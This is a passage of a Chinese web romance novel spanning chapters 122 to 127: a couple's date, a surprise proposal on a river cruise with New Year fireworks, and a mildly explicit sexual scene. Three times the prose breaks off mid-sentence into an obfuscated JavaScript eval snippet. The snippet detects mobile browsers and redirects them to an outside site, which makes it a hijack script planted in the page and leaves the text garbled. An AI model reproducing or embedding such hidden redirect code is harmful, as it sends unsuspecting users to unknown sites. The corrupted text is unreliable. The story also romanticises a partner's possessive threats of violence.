而且没有了往常的西装革履,穿得日常随性,就…….还挺显年轻的,倒真的有种学长的即视感。 姜梨上午的时候就跟江淮之说过了,最近有一部新上映的电影,她想去看。她来樱洲不过一年多,又有点宅,连樱洲最有名的东方明珠她都还没有去看过,听说好像还可以坐轮渡。 江淮之都一一应了下来。 樱洲城人口基数大,经常会出现堵车的现象,所以江淮之没有开车。他们要去的地方在市中心,地铁会更方便,樱大旁边就是地铁站。 地铁上人挤人,姜梨也戴上同款的白色口罩,跟江淮之站在角落里。 他可以轻松够上最上面的横杆,松开牵着的手,揽住姜梨的肩膀往怀里带。 距离骤然拉近,姜梨被一股雪松香包围,能听到他的心跳声。她僵了一下,然后慢慢抬起手,抱住他的腰。 然后姜梨就总是感觉好热,被口罩挡住的脸很烫,是她不用看都能知道有多红的温度。 尤其是这个男人还一直盯着她看,姜梨感觉她的头顶都要冒热气了。 只能仰头眯着眼睛看路牌,她数了一下,还有十几站才到目的地,于是她开始说话转移注意力,“刚刚我室友说你是极品。” 江淮之低下头,“什么极品?” “说你长得帅。”姜梨回答他。 “那你呢? 他的这个问题姜梨没反应过来,微微抬头,疑惑的看着他问:“我什么?” “你觉得我长得好看吗?”江淮之目光灼灼。 姜梨被他看得心里一悸,有些磕巴:“就......就还行吧,能看。” 江淮之继续问:“那我和谢鹤扬谁更好看?” 姜梨突然想起来纪繁星有说过一句话,于是她对江淮之说:“我前几天在暮色跟纪繁星他们一起吃饭的时候她说过,她觉得港圈里所有的男人都没有你长得好看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293908|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包括谢鹤扬和谢鹤枭。” “所以你觉得我比他好看吗?”江淮之的关注点一直都是姜梨是怎么想的。 “而且你的桃花都能开一片桃花林了。”姜梨怎么会不懂他的意思?她偏不想说,开始掰着手指跟他一一例举他的那些桃花都有谁,“以前的沈月汐,楚家老三,你身边那个助理姐姐,还有你的高中同学。我还记得我高一的时候,高二高三的学姐都把情书送到我这里来了,让我转交给你。” 最后她还真就原封不动的把一沓信封送到了他手上,没有半点儿恻隐之心,如果不是因为她十七岁那年大胆的举动,江淮之真的会一直认为她只把他当哥哥。 姜梨不满的嘟囔了一句:“怎么我高中的时候就没有一朵桃花?” 太惨了,一中校花没有收到过一封情书,更不要提什么桃花了。 江淮之眼神闪了闪,食指轻点了一下她的额头,“我不喜欢她们,信我也没看。你不要转移话题,回答我的问题。” 二十八岁的江淮之比十八岁的时候要幼稚好多,姜梨 想到了一个形容词:反差感。 她长长的哦了一声,憋住笑,对他眨了一下眼睛:“那你要听实话吗?” “嗯。” 姜梨看了一下旁边,人实在太多太挤,确定没有人注意到这边,她才凑上去,隔着口罩亲了一下他的下巴。 “你最好看。” 她说这句话时,眼睛里盛满了银河里的星星,亮晶晶的,桃花眼弯成月牙,明媚动人。 江淮之的眼神突然变深,喉结上下滑动,揽着她的力道都变大了。 “哥哥,现在不可以。”两个人亲密接触过,姜梨非常明白他这个眼神是想干什么,提醒他:“我不想成为别人嘴里那种地铁上很烦人的情侣。” 在人满为患的地铁上,视若无睹的啃来啃去,完全不顾他人死活。 会被挂到网上吐槽好久好久,姜梨要脸。 江淮之听到她说的“情侣”,嘴唇忍不住弯了弯,揉了一下她的发顶。 第122章 没你不行 电影结束,影院的灯亮了了起来,突然第一排不知道是谁大喊了一声:“张万森!下雪了!” 一瞬间,整个电影院里都飘起了白色的雪花。 是工作人员弄出来的假雪花。 姜梨情绪不高,没有跟其他人一样多停,拉着江淮之快速的离开了电影院。 彼时,广场的大屏幕上依旧在循环播放南诗奕的那段mv。姜梨抬头看了一会儿,闷声问江淮之:“这个到底要放多久啊?都已经好多天了。” 江淮之回答:“大概一个月吧。” “你看嘛,我以前都跟你解释了好多遍我跳海不是要寻死。”姜梨想起来这个茬,忍不住就想找他麻烦,“你还一直骂我,说我动不动就要死要活。” “没人跟我说你是为了救人。” 姜梨本来就因为刚刚那场电影心情有点郁结,听他这么说心里就更加郁结,“就算你不知道是为什么,那我哥都没因为这个事情骂过我,那就说明他觉得我做的没问题,你的脑子转的这么快,怎么可能会想不到这一点?” “你就是想借这个理由来骂我,江淮之,你霸凌我。”姜梨说着就真气到了,甩开他的手一个人朝前走。 现在正值晚高峰,今天又是跨年,这个地方平时人就不少,今天更是人潮拥挤。江淮之人高腿长,几步追上去抓住她,“我当时真没想到这一点。” 听到姜梨跳海差点溺死,直接翘掉高三模考,满心满脑都是恐惧和后怕,哪里还能想的到别的? 姜梨不听,也不要他牵,一直不停的躲开。 江淮之索性一把揽住她的肩膀,微微弯腰贴在她身上,“怎么说着说着就把自己气到了?我那不叫骂你,顶多算教育,你也没告诉我你是为了救人。高烧昏迷不醒,我一直都在守着你。宝宝,我可没有霸凌你,只是太担心,你不要冤枉我。” 姜梨没话反驳,只能瞪他。 她那个时候年纪比较小,自然是听姜祈安的。他和洛骞一再交代不能告诉江淮之是去救人的,给的理由也很充分,南诗奕会有麻烦。 那个时候不太懂,为什么江淮之知道了南诗奕会有麻烦。 想起在洛骞那里看到的,有司韩野的诊疗记录,姜梨现在猜想,洛骞和姜祈安都知道他心理有问题,应该是怕他会把这笔账算到南诗奕头上,才不让她说。 姜梨眼神柔和了一些,眼神微动,试探性问他:“那如果我那次真的出意外了,你会怎么办?” 江淮之眯了眯眼睛:“你要听实话吗?” “嗯。” “你从海里救的谁,我就把她再扔进去,然后我自己再去找你。”顾忌她和南诗奕的关系,江淮之表达的比较隐喻,没有直接明说要弄死人家的这种话。 姜梨听到他的这个回答,心头一跳。想着她和纪繁星接下来要干的事,不禁开始有点担心江淮之。 她停了下来,拉着江淮之站到一边。 觉得江淮之太高了,压迫感有点强。姜梨又站到了后面的台阶上,俯视他。 姜梨表情严肃,一本正经的开始“教育”他:“哥哥,你这个想法很危险。” 江淮之怕她会摔倒,扶住她的腰,“怎么危险?” 一命还一命,不是很正常? “我跳海救人的那个时候你才二十岁,以后你还能遇到更好的……” 姜梨说的危险原来是这个,江淮之打断她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293909|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“之前司家给我挑傅绾当未婚妻的时候跟我说的是她很漂亮,你知道我当时想的什么吗?” “什么?” 江淮之:“谁都没有你漂亮,最好的我已经遇到了,没有更好的了。” 姜梨现在并不觉得这是什么情话,想也不想的就脱口而出:“那我等会就去毁个容。” “别想了妹妹。你别说是毁容了,就算你性别跟我一样都没问题。我不想、也不要其他的,不是你不行,没有你就更不行。只要你,只爱你。” “什么叫没我就不行了?你这样想根本就不对……干什么?”姜梨说到一半,江淮之就捏住了她的双颊。 “你要离开我?” 他眼里多了审视和危险,像是一把利刃,要将她从外到内的剖开,姜梨心里一紧,也意识到她的情绪外露的有点太明显了。 江淮之的感觉一直都很敏锐。 “我只是在教你,这样的思想和观念是不对的,有点太……偏激了。”姜梨想了一下,给他举例子:“生老病死,意外那么多怎么是人可以掌控的?那如果我要是年纪轻轻的就得了绝症,你也要陪着一起英年早逝吗?” “嗯。”江淮之点头。 姜梨突然觉得心脏抽了一下,有点痛。 她的世界里就只有两个男人最重要,一个姜祈安,一个江淮之。她哥已经不在了,江淮之怎么也能不在?这种事情,光是想想就已经足够痛苦了。 江淮之必须要在,哪怕是她真的死了他也要在。 “姜祈安已经不在了,那以后就没人记得我了。”姜梨伸出一根手指指着他,“不可以哦。” 这章没有结束,请点击下一页继续阅读! 第123章 你要的我都能给 姜梨的眼睛划过一丝暗光,快速被她掩去。 她现在要少说话了,免得江淮之会发现什么,会打乱她的计划。 “想要什么直接跟我说,我都会给你,用不着你动手。” “你是不是忘记我们是为什么吵架的了?我让你把时愿送走你不是不愿意吗?”姜梨皱眉,不认同的反驳他。 江淮之挑眉,跟她解释:“我没说我不愿意。还记得在祈愿那次,我说傅绾以后是你的嫂子让你慎言的事吗?” “记得啊。” 这件事情她怎么会忘记?但是为什么扯到这么远去了?有什么关联吗? 江淮之笑了一声,“我说了不会娶她,她现在嫁给沈叙了,是不是也算你嫂子?” 哎?!好像……还真的是? 姜梨后知后觉才反应过来这条线,有些惊愕,“所以你在那个时候就已经想好要坑傅绾和沈叙了?” “司承德不是贩毒吗?他和沈叙在一条船上,傅绾是他挑的,也算是沈叙的人。我把她还给他,有什么不对吗?”江淮之停顿了一下,然后揉了一下她的发顶,“不过我从一开始是想坑沈翊的,但是后来发现他就是你的“佣兵”。而且沈叙想娶傅雪,跟傅家强强联手,又在背后搞小动作,我才换成他的。” “不是说了吗?傅绾是你嫂子,在你没毕业之前,傅雪也不能踏进樱洲,沈叙和她的事情黄了,所以昨天她又被送回了国外。” 好一个一举三得。 姜梨震惊完之后,心里有点不爽了。 她在港城的时候那个神秘人就出现了,帮她办了不少事,有他帮忙,她和纪繁星背地里干的那些事才没有被姜祈安发现。 但是她愣是没发现神秘人是沈翊,结果江淮之第一次问她的时候,就怀疑到了沈翊头上,精准的可怕。 姜梨越想越觉得奇怪,忍不住问他:“他藏的这么好,你到底为什么会怀疑是他的?” “他要是真想对你图谋不轨,什么时候动手不行?偏偏选在你把所有一切都解决好了之后才下手,而且他早就知道我们的关系了,却没有告诉沈叙,摆明了就是想把你名正言顺送到我身边来。我不怀疑他怀疑谁?” 姜梨是真的没想到纰漏是出在这里。 但是听他这么一说,姜梨也回忆起来当时的事情。沈翊闯进她房间里朝她扑过来的时候动作的确很唬人,但是却并没有多大,起码她能推开他。 然后开灯的一瞬间他还下意识的用手掌挡住了她的眼睛,并没有被强光刺到。 她被吓到了,根本就没办法去细想这些细节,从枕头底下抽出那把刀就朝他腹部捅了过去。 啧,沈翊也是真能演,演得是真他妈欠揍。 姜梨又想起来当初在酒吧她给沈翊打电话请他帮忙,那个时间他估计都还没拆线吧?就这样从北城跑到了樱洲,还真是……有够积极的。 但是她越想就越不得劲,沈翊也不怕她真的会捅死他,愣是选择一声不吭,还时不时的就要来招惹她一下,骗她骗得团团转。 “跟你说这些是想告诉你,只要是你想要的我都能给。”江淮之不知道她脑子的这些戏,揉了一下她的发顶,温声道:“复仇的事情、时愿的事情我都会解决,你什么都不用想也什么都不用做,好好上学、吃饭、睡觉,继续当那个金光闪闪的北城才女姜二小姐就可以了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293910|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 当下心里就冒出来一个想法,等他们去港城了,她一定要再把沈翊揍一顿。 她刚这么想完,就听到了江淮之的这段话。 一字一句,锤在她的心口上,是沉闷的痛。 莫名的想起来之前在寝室里,顾一心和季浅在背后乱嚼舌根,她当时毫不犹豫的就给江淮之打电话告状了,他说他处理,后来她就再也没有遇到过顾一心和季浅。 再比如在酒吧她收拾傅雪和沈月汐的事情,江淮之不仅添了一把火,还收拾了学校里骚扰她、说她坏话的男生。 还有在宴会厅她曝光司家和陆家对南诗奕的恶行,也是江淮之帮她清理掉了所有的痕迹,甚至还背地里解决掉了司老头。 记忆里还不止这些事情。 江淮之自从被她和她哥从疗养院里接回家的那一天起,就一直都对她很好,也帮她解决了好多麻烦,给她上课,耐心的教她最讨厌的数学。 表面上江淮之对谁都很温和,从来都不会生气,是一个脾气和性格都好到无可挑剔的人,一个没有任何情绪的假人。 但是他会因为姜梨跟别人打架生气,会因为她偷偷藏药生气,也会因为她几次任性偷偷离开医院生气。 给她讲一堆的大道理,再凶巴巴的威胁她,说出“下次再这样就要打断她的腿”这种话,然后又转头来哄她。 江淮之只有在她身边,才会有其他的情绪,才像是个真实的人。 这也是姜梨不肯告诉江淮之她接下来要做的什么事的原因。他是绝对不会同意她这么做的,搞不好真的会把她锁起来。 这章没有结束,请点击下一页继续阅读! 第124章 愿不愿意都是我的妻 江淮之提前租了邮轮,两个人吃完饭逛了几圈以后才上去。 姜梨站在甲板上,趴在边上看波光粼粼的江面,初冬的风刮得脸有些疼,江淮之牵热的手又变得冰凉一片。 黄浦江对面就是东方明珠,亮着流光溢彩的灯,还有旁边的陆家嘴三件套,一排建筑物矗立在那里,璀璨的像钻石。 一块电子屏幕上亮着:我爱樱洲。 这估计是全樱洲唯一一块没有循环播放南诗奕mv的电子屏幕了。 姜梨想到什么,走到江淮之面前,在包里拿手机。 刚刚吃完饭的时候,姜梨的包就被他顺走了,在他身上挂了一路,极其的不搭。 不过这好歹是奶白色的,姜梨不记得是哪一年了,江淮之来学校帮她开家长会,还背过她的粉色书包,那才是真的真的不搭。 姜梨不仅仅摸到了手机,还摸到了一个类似于铝塑膜包装的东西,有些疑惑。 她记得没放这样的东西在里面啊。 “什么东西……”一边嘟囔,一边把那个东西跟着手机一起拿了出来。 通过灯光,姜梨很清楚的看到那个东西的真面目,她愣了半晌,想到她今天出门的时候,许雾那一句突兀的“注意安全”,太阳穴突突跳了两下。 感情她说的注意安全是指这个? 姜梨感受到一道非常强烈的视线,身体瞬间僵直,向丢什么烫手山芋一样,手忙脚乱的塞回了包里。 本来是想丢江里的,但是她是个有素质的好公民,只能让它原路返回。 江淮之就这么低着头,看了那东西一眼,又意味深长的看着她,不冷不淡的说:“你这是打游戏打上瘾了吗?” 姜梨瞬间理解他话里的意思,脸立刻红温几个度,几乎是从牙缝里挤出来的几个字,对江淮之解释:“我没有!这不是我的!” “。”江淮之没说话,就这么看着她,也不知道信没信她的解释。 “……”姜梨被他看的一阵发毛,心里不断地在咆哮,并且发誓。 她今天回去,第一件事情就是弄死许雾!她,一定要弄!死!这个一级损友! “咔哒”一声,姜梨扣上包,咬了咬牙索性也不再解释了,与其在这里尴尬的对峙,还不如干点正事。 邮轮上就只有他们两个人,没有外界干扰,她自己一个人站到一边去拍照。 这边的夜景根本不需要什么拍照技术,随手一拍都能出片。 江淮之也没打扰她,安安静静的看她捣腾,还往旁边移了几步,怕挡住身后的东方明珠。 因为没人,他就把口罩摘掉了,只戴着帽子。背对着光线,帽檐又压的低,半张脸都藏在昏暗里,只露出来一截下巴。 肩宽腿长有气质,姿态懒散随意,身后的背景又增添了很强的氛围感,看不清脸也能知道他很帅。 正在拍照的姜梨就顿了一下,心想不拍太可惜了。于是她假装在拍风景,实际上镜头已经悄咪咪的对准了江淮之,然后按下拍摄键,画面定格。 照片拍出来也是很客观的帅。 姜梨又找了几个不同的角度,偷摸着拍了好几张。 江淮之看了眼时间,距离零点只有二十分钟了,他走过去站到姜梨旁边,姜梨默默的把手机黑屏收了起来。 她今天没有扎头发,黑藻一样的长发被风吹得有些乱,江淮之抬手理了一下,漫不经心问:“昨天我给你打电话的时候,为什么不高兴?” 昨天接到他电话的时候,姜梨在看日历,心情也是因为这个变得不好,她记得最开始的语气是有点冲,但是江淮之怎么当时不问,非要攒着现在问? 这一问姜梨也像江淮之看她手机一样,因为自己心里有鬼,明知道里面什么都不会有,她还是害怕心虚。 她现在比那个时候还要心虚,生怕他是已经发现了什么,然后故意试探她,让她承认。 “我还没有要彻底跟你和好的想法。”姜梨把头扭到一边,轻哼了一声,“我还在生气。” 随着姜梨扭头的动作,在他指尖的黑色发丝溜走,江淮之的眼皮莫名的跳了一下,“彻底和好?那现在是和好多少了,你消了多少气了?” 姜梨看着远处聚集的人,眼珠转了一圈,回他:“嗯……就百分之四十吧。” 江淮之还没回答,他的手机就响了。他看了一眼敛了敛眸,是谢铭的电话。 他没有接,抬手把姜梨的围巾往上扯了一下,对她道:“你在这里等我一会儿,不要乱跑。” 姜梨“哦”了一声,看着江淮之离开甲板,进了船舱之后,笑意淡了下来,盯着江面发呆。 江淮之走到第一层,给谢铭拨了回去,“什么事?” “时小姐找不到您,不知道从哪里知道了舒羽的住址,就找过去了。”谢铭也觉得无语,捏了捏鼻梁,“大少爷,她们现在都在医院,时小姐想见您。” 江淮之表情冷淡,没有丝毫变化,“我会让陆七和简清时过去处理,你继续看着她们。” 电话另一头的谢铭会意,然后电话结束。 此时邮轮在江面的中心停了下来,亮着的光也骤然熄灭,一整艘船都黑了。 姜梨被这个变故吓了一跳,立马警觉,站直身体就要下去找江淮之。 “跑哪去?”姜梨还没踩下阶梯,江淮之就走了上来,姜梨停在原地,愣愣的看着他。 江淮之的帽子和口罩都已经被他给摘掉,怀里抱着一束粉色的,玫瑰花。 他把花递过来,姜梨就接过来。下一秒,江淮之从外套口袋里拿出一个戒指盒打开,然后单膝下跪,仰首看着她,“还愿意嫁给我吗?” 姜梨看着那枚戒指,嗫嚅着双唇说不出话。 不是当初那枚红钻戒指,是新的。 一枚水滴形的钻戒,折射出一抹璀璨的光,璀璨耀眼。 “我……”姜梨刚吐出一个音节,江淮之就拉过了她的手,把戒指套在了她的无名指上。 他是生怕她说出一个“不”字,动作温柔又带了点蛮横霸道,握住她的手,在她的手背上亲了一下。 姜梨的指尖轻颤,“我没想说我不愿意。” 江淮之又摸出来那枚红钻戒指套了上去,笑盈盈的看她,“愿不愿意,你都是我的妻。” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第125章 上瘾 姜梨只觉得她的手现在特别沉重。 两枚价值不菲的钻戒戴在一只手上,不知道的人还以为她是在炫富。 因为邮轮的灯熄灭了,两岸的人并没有注意到他们的动静,倒是齐声开始倒计时。 江淮之站起来,亲了一下她的眼皮,提醒她:“还没有完。” 姜梨顺着他的视线,看向了东方明珠的方向,那块“我爱樱洲”的电子屏幕也开始跳动着数字。 她知道,只是跨年倒计时,几秒钟以后就会迎来2024年,2023年就会被翻篇成为过去式。 “一!” 最后一秒落下,全部的灯光都暗了下来,然后姜梨就听到了齐刷刷“咻”的一声,不远处十几簇星火窜上天,“砰砰砰”的在空中炸开。火光映在姜梨的脸上。 是烟花秀。 绚烂的烟花点亮整片夜空,是一场盛大的视觉盛宴,比姜梨在酒吧门口放的那一场更让人觉得震撼。 姜梨下意识就去看江淮之,他一直都在看她,漆黑的眸子映着焰火,目光炙热坦诚,“喜欢吗?” 这场烟花秀,是江淮之安排的。 姜梨的心脏“扑通扑通”的跳,越来越热,像是随时都要喷发的火山。 “烟花短暂,但是我们永恒。”江淮之的额头贴上她的,声音像是被砂纸打磨过,“对不对?” 她不敢说对,也不能说对,她和江淮之在一起的日子,已经进入了倒计时。 “江淮之,我……”姜梨抱着花的手紧了紧,直直的看进他的眼睛里,“我喜欢你。” “嗯,我爱你。”江淮之蹭了一下她的鼻尖,视线移到她的唇瓣上,嘴唇贴上去,轻轻地碾了一下,浅尝辄止。 姜梨今天抹了口红化了妆,小姑娘爱漂亮,现在还在外面,不能给她弄花了。 烟花没有持续太久,十五分钟以后结束。 邮轮在岸边停靠,江淮之牵着姜梨下来。 姜梨的脑子还有点发懵,“我们就……就回去了吗?” “嗯。”江淮之带着她往空旷的地方走,司机已经开车过来等着了。 姜梨“啊?”了一声,看他走的方向是地铁站的方向,蹦出来一句:“这个点地铁已经停了,你不是应该带我去开房吗?我带身份证了,酒店在那边。” 江淮之太阳穴跳了两下,继续牵着她走。没有进地铁站,走到一辆库里南的旁边,把花从她手里拿过来,替她拉开了车门,然后把花放到了后备箱。 姜梨如遭雷击,恨不得咬断自己的舌头。 她刚刚!都说了什么! 有些绝望的闭了闭眼睛,姜梨钻进车里,贴在车门边上,装鹌鹑。 车子在平稳行驶,一路上都格外的安静。 开车的人不是谢铭,姜梨没有见过,所以跟江淮之一直保持着非常安全的距离,不敢逾矩。 进入后半程的时候姜梨发现这是回她学校的路,江淮之这是要直接送她回学校吗? 今天是一号,元旦节,樱大要放假的。 虽然她的电脑什么的都还在寝室里,但是也是可以等到中午再回来拿的。 姜梨摸了一下无名指的戒指,大约过了十几分钟以后,小声说了一句:“我突然不想回学校了……” 她声音太小,江淮之有些没听清楚,“什么?” “我说,我不想回学校。”姜梨深吸了一口气,声音大了一些,“我要回秋水湾。” 江淮之僵了一下,掀起眼皮看向她,目光幽深,像黑洞的漩涡,“二梨,真上瘾了?” 姜梨有些慌乱的别开视线,一直在持续发热发烫的心脏砰砰直跳,脸都有点热,但还是硬着头皮点头。 “可你刚刚说要带我去学校逛一圈,可以让我变得年轻一点。” 谁他妈的在大半夜的时候去逛学校啊!会被人当成神经病吧? 可能是心脏的超负荷跳动扯断了姜梨的脑神经,她想也不想的就脱口而出:“可我现在想睡你。” 姜梨这句轻飘飘的话,无疑是给江淮之点了一把火,呼吸都变得有些急促。 他缓了缓,对司机吩咐:“回秋水湾。” —— 用指纹打开门锁,踏进家门,江淮之把花和包都放在了空着的桌子上。 然后一把将要溜走的姜梨拽过来,急不可耐的要去吻她。 姜梨哪里知道江淮之会这么着急,连洗脸卸妆的机会都不给她,她偏头要躲开,又被江淮之掐住下颚掰正,“刚刚不是还很着急的想要睡我吗?现在你躲什么?” “我没……没洗脸,也没洗澡,先放开我。” 江淮之和姜梨有近三十厘米的身高差,他直接将她抱起来坐在了木桌上,还顺手解掉了她的围巾,声音喑哑:“亲完了再洗。” 不给姜梨拒绝的机会,掐住她的脖子堵住她的唇。他吻得又深又急,姜梨身体止不住的发软,抬起胳膊搂着他的脖子,跟着他的节奏,生涩的回应。 姜梨被不断升高的体温炙烤,眼角都漫出来生理性的眼泪,喘息声越来越重,被他亲的快要窒息。 突然姜梨感觉衣服下摆被掀开,江淮之揽着她腰的手开始作乱。 喉咙里溢出一声轻哼,姜梨脑袋后仰,紧贴的唇瓣分开,“你,不别这样摸……” “那怎么摸?这样?还是这样?”江淮之的唇瓣红的妖艳,漆黑的双眸里都蒙着一层情欲,微微垂眸看了一眼。 他在说什么东西! 姜梨被他的动作和说出来的话给刺激到了,抬起腾空的脚踢了一下他的膝盖,“我早就过了十八岁了!怎么?你十八岁以后还能长吗?” 她踢的不重,软绵绵的没什么感觉,江淮之趴在她的颈边,微微喘气。 江淮之松开她的脖子,扯过她的手腕,带着她往下摸。 “你……”姜梨的思绪被这一下劈的七零八落,喉咙哽的说不出话,她条件反射的想把手抽回来,却被江淮之紧紧的按住。 江淮之半睁着眼睛,手背青筋凸起,唇瓣蹭了一下她的耳尖,“宝贝儿,帮帮我?” 帮什么……? 姜梨反应过来,下意识往下瞄了一眼,指尖微颤,“我不会,你自己弄。” “没关系。”江淮之低低笑了一声,“我教你。” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第126章 有没有长进 浴室的镜子前站着两个人,江淮之站在姜梨身后,细心的搓洗她的手指。 姜梨低着头,羞愤到脸上滚烫的温度蔓延到了脖颈,白皙的皮肤被一层红色覆盖,耳尖更是红的要滴血。 “你要是想的话,就不能直接做吗?”姜梨咬了一下唇瓣内侧的肉,恨不得把头埋到地上,声音都在轻颤:“干嘛要……要这样……” 江淮之刚刚已经冲洗过了,头发有些湿,套了一件白色的浴袍,听到姜梨的话,他反问她:“你不疼了吗?受得了吗?” “什么?”姜梨没能理解他的话。 打开水,将手上的白色泡沫冲洗干净,“你不疼了吗?受得了?” 姜梨顿了顿,没说话,她的确还有点不太舒服,只是存在感没有那么强烈而已。 脑子里开始不受控制的想起刚才看到的画面,冒出来的第一个想法就是:她到底是怎么容得下的? 怪不得她总是会有种被撕开的感觉。 姜梨正想的入神,就听到江淮之又说了一句:“二梨,再上瘾也要知道节制。” 他是怎么说出来这种话的?他们不就睡过两次吗?还都是他先动的手!现在还倒反天罡的来说她不知道节制…… 姜梨在这之前一直以为江淮之是个极其纯情的男人,她第一次亲上他的那次,他的反应其实挺大的,表面冷淡,但实际上耳朵都红了。 但是现在是怎么回事?各种荤话张口就来,各种招数花样百出,恶劣的不行。 “我们两个断联的那三年你是不是找过别的女人?” 江淮之给她擦手的动作一顿,怎么都想不明白她到底怎么会想成这样的,回答她:“没有。” 姜梨明显不信,“那你难道是莫名其妙进化成变态的吗?” “不是莫名其妙,我本来就是个变态。”江淮之擦到一半,开始捏她的手指玩。 姜梨的手指细长,指尖圆润。手背白皙光滑。但是因为常年弹琴,手指有些变形,有一层薄茧,关节也变得有些粗大。 姜梨见江淮之不仅捏着把玩,还一直盯着看,有些不自在的把手抽了出来,“我要洗澡,你出去。” 她的手长得不算好看,甚至还有点难看。 跟阮经颜和许雾对比过,她的手难看的跟她们压根就不在同一个图层,练琴变形的还挺严重的。 江淮之看出来她的心思,没有再闹她。亲了一下她的发顶,然后退了出去。 陆七在一点半的时候发过几条信息,一张收据下面附带着一句:“解决了,你记得还利息。” 点开收据图片放大扫了一眼,江淮之扯了一下唇角。 他让陆七随便在陆家旗下的饰品店挑一样送给时愿,然后他反手就挑了一条最贵的手链。 真是有够损的。 江淮之敲着键盘,回他:“明天汇给你,谢了。” 舒羽不是闹事的人,也没有给他发信息。 倒是时愿给他发了一条信息,无非就是说这件跨年礼物她很喜欢的这种话。江淮之没有点进去看,左滑点了删除。 往下翻了翻,点进司南赫的对话框,输入了一行字:“媒体那边不用再压了,直接让他们放吧。机会我已经给你了,让我看看你这几年,究竟有没有一点长进。” 然后点击了发送。 姜梨洗完澡出来已经是三点多了,手机屏幕上的日期从2023年的12月跳到了2024的1月,距离去港城的时间还有八天。 她还没跟江淮之说过这件事。 姜梨瞥见书房门缝里的灯还亮着,在邮轮上的时候江淮之接过电话,应该是在处理什么急事。 眼神闪了闪,轻叹了一口气。 算了,还是等天亮了再找机会跟他说吧。她不能瞒着他偷偷跑回港城,否则还没等她上飞机江淮之就已经把她给抓回去了。 她要光明正大的走才不会引来任何怀疑。 姜梨攥紧手指,调整了一下情绪,去看了眼睡着的猫,轻轻的摸了一把,然后拿着手机径直走到了江淮之的房间。 许雾在微信上也给她发了一条,注意安全,甚至还问她战况如何? 姜梨狠狠磨了磨后槽牙,开始打字:“没有打仗,哪里来的战况?” “你在我包里放的那个在大街上就被他看到了,等中午我回学校,你就死定了!” “你死!定!了!” 也许今天是跨年夜,一向作息规律的许雾也当起了夜猫子,几乎是秒回。 许雾也不理会姜梨那几句狠话,直接甩过来一句:“没有战况?是你不行还是他不行?” 神他妈的行不行,她的重点难道不应该是等到白天的时候要被她揍吗? “那你现在在哪里?你们总不会是在酒店躺在一张床上,盖着被子纯聊天聊到现在吧?” 姜梨的眼皮跳了一下,想了想回她:“纯洁点姐妹,我们没有在同一张床上。” 这一句发过去以后许雾那边就没了动静,姜梨开了静音,然后放在了床头柜上,人缩进了被窝里。 鼻尖全是江淮之身上的那股雪松香,还挺催眠的,没一会儿姜梨的眼皮就开始变得沉重,困意就涌了上来。 姜梨迷迷糊糊间听到了窸窸窣窣的声音,紧接着就被一个力道拽了一把,她的手无意识的胡乱摸了一下,触碰到了温热的皮肤。 “江淮之?”眼睛没有睁开,梦呓般的喊了一声。 “嗯。”江淮之应了一下,手指轻轻蹭了一下她眼下的乌青,凑过去亲了一下她的眼皮,“睡吧。” 伸手关了灯,整片卧室里陷入一片漆黑。 姜梨哼了几声,又往他怀里钻了钻,乖得不行。 江淮之很喜欢姜梨这样亲昵的贴着他,生理和心理都是极大的满足感。 他的手紧紧揽着她的腰,身体紧密贴合,不留一丝缝隙。 但是这样的姿势却是没持续多久。 大概是五六点的时候,姜梨睡着睡着腿就搭在了他的腰上,像是把他当成了什么抱枕,荚得越来越紧。 手还不老实的乱摸,到处在他身上点火,江淮之就是这么硬生生的被她给弄醒了。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第127章 不想在他身边可以随时来找我 姜梨这一觉睡得格外的舒服,醒过来的时候江淮之已经不在了,他躺过的那一片地方已经没有余温了。 她缓了一会,待机的大脑重新开机,从床上爬起来洗漱,吃了个午饭。 昨天那一大束粉色的玫瑰花已经被江淮之放进了醒花桶里,花开得比昨晚还要好一些,花瓣上洒了一些水珠,晶莹剔透,衬的花朵鲜嫩欲滴。 空气里都弥漫着淡淡的花香。 就算是这样保存,它的花期也并不长,过不了多久一样会枯萎。 这是江淮之送她的第一束玫瑰,也会是最后一束。可以趁着这几天假期,把它们做成永不凋零的永生花,保存下来。 哪怕是她以后带不走这些,姜梨也想要在江淮之的领域里,留下一点关于她的痕迹。 也要在剩下不多的时间里,再多看他几眼。 姜梨摇了摇头,把不断冒出来的有些沉重的情绪给扫出去,站起身去给小野重新加了猫粮,然后才出门去学校。 元旦樱大是放假的,但是假期比较短,外地学生居多,留校的人还是很多。 